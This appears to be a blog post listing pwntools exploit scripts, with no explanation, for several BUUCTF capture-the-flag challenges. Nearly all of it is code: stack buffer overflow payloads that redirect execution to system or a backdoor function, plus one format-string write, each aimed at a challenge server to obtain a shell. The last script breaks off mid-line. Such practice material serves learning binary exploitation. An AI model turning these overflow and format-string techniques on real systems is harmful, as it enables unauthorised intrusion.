buuctf pwn 部分exp（无解析，持续更新）

wustctf2020_getshell2   exp

from pwn import *



p = remote("node4.buuoj.cn", 27238)
call_system=0x8048529
sh_addr=0x08048670
payload=b'a'*28+p32(0x8048529)+p32(sh_addr)
p.sendline(payload)



p.interactive()

wustctf2020_getshell  exp

from pwn import *



p = remote("node4.buuoj.cn", 27723)

payload=b'a'*28+p32(0x0804851B)
p.sendline(payload)



p.interactive()

level0 exp

from pwn import *



p = remote("node4.buuoj.cn", 28051)
payload=b'a'*128+b'b'*8+p64(0x00400596)

p.sendline(payload)

p.interactive()

[第五空间2019 决赛]PWN5

from pwn import *



p = remote("node4.buuoj.cn", 28342)
payload=fmtstr_payload(10,{0x804c044:1111})

p.sendlineafter('your name:',payload)
p.se